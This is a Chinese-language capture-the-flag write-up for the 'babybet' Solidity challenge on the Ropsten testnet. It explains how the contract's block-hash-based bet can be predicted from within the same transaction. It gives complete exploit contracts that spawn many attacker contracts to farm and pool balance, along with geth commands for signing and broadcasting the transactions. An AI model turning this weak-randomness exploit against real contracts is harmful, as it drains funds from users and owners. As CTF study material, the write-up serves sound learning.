一、 題干

與前文重複的內容將不多贅述, 若有疑惑可以翻看前文,或者評論

此題給出的目標合約是Ropsten上的0x5d1BeEFD4dE611caFf204e1A318039324575599A, 類似的,也給出了部分合約源碼:

pragma solidity ^0.4.23;

contract babybet {

mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;

// Dont leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}

// pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;
}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}
......
}

二、題干分析

根據上面的源碼,我們需要擁有一個balance 大於等於1000000的賬戶才可以觸發事件sendflag從而奪旗。

三、解題思路

3.1 合約逆向

同樣的,首先要通過OnlineSolidityDecompiler對目標合約進行逆向,下面是手動還原後的代碼

pragma solidity ^0.4.23;

contract babybet {
// 0xe3d670d7 0
mapping(address => uint) public balance;
// 0x645b8b1b 1
mapping(address => uint) public status;
// 2
address owner;

//Dont leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}

//pay for flag 0x8c0320de
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;
}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

// 0x66d16cc3
function profit() public {
require(status[msg.sender] == 0);

balance[msg.sender] += 0xa;
status[msg.sender] = 1;
}

// 0x7365870b
function bet(uint256 number) public {
require(balance[msg.sender] >= 0x0a);
require(status[msg.sender] < 2);

// balance -> 0
balance[msg.sender] += ~0x09;
// block.number - 1
if ((block.blockhash(block.number + ~0x00) % 0x03) == number) {
balance[msg.sender] += 0x3e8;
status[msg.sender] = 2;
} else {
status[msg.sender] = 2;
}
}

// 0xf0d25268
function xxxx(address to, uint amount) public {
require(balance[msg.sender] >= amount);
balance[msg.sender] -= amount;
balance[to] += amount;
}
}

3.2 合約分析

根據還原後的合約源碼,我並沒有發現有任何可以利用的漏洞,其中主要的考察點就在函數bet中的這一行,

if ((block.blockhash(block.number + ~0x00) % 0x03) == number)

我們想讓賬戶的balance增加0x3e8,就必須繞過這一句校驗,那麼我們要怎麼才能知道在發送交易時的block.blockhash(block.number + ~0x00) % 0x03是多少呢? 在區塊鏈中,同一個區塊內的所有交易中的block.blockhash(block.number + ~0x00) % 0x03是相同的,因為block.number指的是交易所處區塊的區塊號,而block.blockhash獲取某個區塊的區塊哈希值。 那麼我們只需要部署一個代理合約,在代理合約中寫

number = block.blockhash(block.number + ~0x00) % 0x03

然後通過內部交易來調用目標合約中的函數bet

targetcontract.bet(number)

就可以提前獲取準確的number。 也就是說,我先發起一筆外部交易調用代理合約,然後代理合約會通過內部交易去調用目標合約,內部交易是由外部交易所觸發的,它們共享一個交易hash,礦工在打包交易的時候,是將他們作為一筆交易打包進區塊,這樣我們在調用代理合約時候計算的block.blockhash(block.number + ~0x00) % 0x03與代理合約調用目標合約時計算的block.blockhash(block.number + ~0x00) % 0x03是完全相同的。 除此之外,我們還需要讓代理合約不斷地部署新的合約,讓新的合約去調用profitbet來獲得0x3e8的balance,然後通過函數選擇器為0xf0d25268的函數將balance匯總,直到匯總的balance超過 1000000,就可以調用函數payforflag來觸發事件sendflag了。

這裡的原理實際上和之前寫過的fomo3d 遊戲中的隨機數漏洞類似。

amenda:類FoMo3D遊戲空投漏洞及利用?

zhuanlan.zhihu.com
圖標

四、解題過程

4.1 編寫代理合約

pragma solidity ^0.4.23;

interface Baby_set {
function profit() public;
function bet(uint256 number) public;
function payforflag(string md5ofteamtoken,string b64email) public;
}

contract manager {

Baby_set target = Baby_set(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

function exploit(uint limit) public {
uint256 n = uint256(block.blockhash(block.number + uint(~0x00))) % 0x03;
for (uint i = 0; i < limit; i++) {
(new attacker)(n);
}
}

function ctf() public {
target.payforflag("xxxxxxxxxxxxxxxxxxxxxx", "xxxxxxxxxxxxxxxxxxxx");
}
}

contract attacker {

Baby_set target = Baby_set(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

constructor(uint256 number) public {
target.profit();
target.bet(number);
target.call(abi.encodeWithSelector(bytes4(0xf0d25268), address(msg.sender), 0x3e8));

selfdestruct(msg.sender);
}
}

當使用call函數調用其他合約時,Solidity提供了兩種方式指定想要調用的函數,一種是通過函數簽名

target.call(abi.encodeWithSignature("bet(uint256)", uint(block.blockhash(block.number + ~0x00) % 0x03)))

另一種是通過函數選擇器

target.call(abi.encodeWithSelector(bytes4(0x7365870b), uint(block.blockhash(block.number + ~0x00) % 0x03)))

4.2 部署合約

// In geth console
> eth.signTransaction({from: "0x8fb0c0a29da63aeedcf09758ba2be6959ed49a0a", data: bin, gas: "0xfffff", gasprice: "0xb2d05e00", nonce: "0x02"})
raw: "......",
tx: {
gas: "0xfffff",
gasPrice: "0xb2d05e00",
hash: "0x990a18e767e41ea916097d623cdc21355825bd615728b768f72414a13ce7b7ba",
input: "......",
nonce: "0x2",
r: "0x2ae00a33c7adfbfdffdefaa2aa0b978a2d7aefc959cec2fe979dd6da3e7ec544",
s: "0xc8094010f8da16cc6989606e7abf7b78b97f751719fb760b4978a404171fa8a",
to: null,
v: "0x1c",
value: "0x0"
}

copy raw transaction 到Ropsten Broadcast Raw Transaction上去廣播一下

4.3 調用exploit函數

計算函數選擇器

$ get_signature.py -f "exploit(uint256)"

> 0x58f69e07

若是不想用腳本,也可以通過一些計算keccak256的網站來計算函數選擇器,比如emn178.github.io/online

對交易簽名

// In geth console
> eth.signTransaction({from: "0x8fb0c0a29da63aeedcf09758ba2be6959ed49a0a", to: "0x6037470517e02813655322e3d4fdc6d22031902f", data: "0x58f69e070000000000000000000000000000000000000000000000000000000000000032", gas: "0x7a0000", gasprice: "0xb2d05e00", nonce: "0x03"})
{
raw: "0xf8880384b2d05e00837a0000946037470517e02813655322e3d4fdc6d22031902f80a458f69e0700000000000000000000000000000000000000000000000000000000000000321ba011d6fe14b96d84cfcfe557a48f743c71a9c5871e17acaf23562100cff51d96e3a03d2361d86d952f47b500bb410f2608c03eead20dc899c988a44aeea363cc76b0",
tx: {
gas: "0x7a0000",
gasPrice: "0xb2d05e00",
hash: "0xe4f94abb9d5ae15d296797ea8360d3854d48fa2062b67f4196913748bc687c9d",
input: "0x58f69e070000000000000000000000000000000000000000000000000000000000000032",
nonce: "0x3",
r: "0x11d6fe14b96d84cfcfe557a48f743c71a9c5871e17acaf23562100cff51d96e3",
s: "0x3d2361d86d952f47b500bb410f2608c03eead20dc899c988a44aeea363cc76b0",
to: "0x6037470517e02813655322e3d4fdc6d22031902f",
v: "0x1b",
value: "0x0"
}
}

同樣的copy raw transaction到Ropsten Broadcast Raw Transaction去廣播,單這裡我們要注意一下gas的設置,由於我想儘可能發送少量的交易而讓balance儘快地達到1000000, 所以希望每筆交易gas給的足夠多,但是區塊有gas限制,我們不能無限制的加高gas, 在測試鏈上目前能給的最多的gas差不多就是0x7a0000了。 接下里我們就要重複調用exploit函數20次(0x32 * 20 * 0x3e8 = 1000000), 記得每一次要增加nonce。

4.4 調用ctf函數奪旗

計算函數選擇器

$ get_signature.py -f "ctf()"
0x22a9339f

對交易簽名

// In geth console
> eth.signTransaction({from: "0x8fb0c0a29da63aeedcf09758ba2be6959ed49a0a", to: "0x6037470517e02813655322e3d4fdc6d22031902f", data: "0x22a9339f", gas: "0xfffff", gasprice: "0xb2d05e00", nonce: "0x19"})
{
raw: "0xf8681984b2d05e00830fffff946037470517e02813655322e3d4fdc6d22031902f808422a9339f1ca0d8959755c2f5f1f57430855f74d624de3773d543f08bd97cf6f93955f79b16b2a0721fa2b0a933a36f52dd22433641b369d25084fb48e70350a62a3c17751236b6",
tx: {
gas: "0xfffff",
gasPrice: "0xb2d05e00",
hash: "0xf9c27a9dbd06d3990250dc46831db3bb7a6248349d7ff943f581798c3d05105f",
input: "0x22a9339f",
nonce: "0x19",
r: "0xd8959755c2f5f1f57430855f74d624de3773d543f08bd97cf6f93955f79b16b2",
s: "0x721fa2b0a933a36f52dd22433641b369d25084fb48e70350a62a3c17751236b6",
to: "0x6037470517e02813655322e3d4fdc6d22031902f",
v: "0x1c",
value: "0x0"
}
}

廣播交易後去Ropsten etherscan檢索這筆交易0xf9c27a9dbd06d3990250dc46831db3bb7a6248349d7ff943f581798c3d05105f來確認是否成功觸發了時間event sendflag

推薦閱讀:

相关文章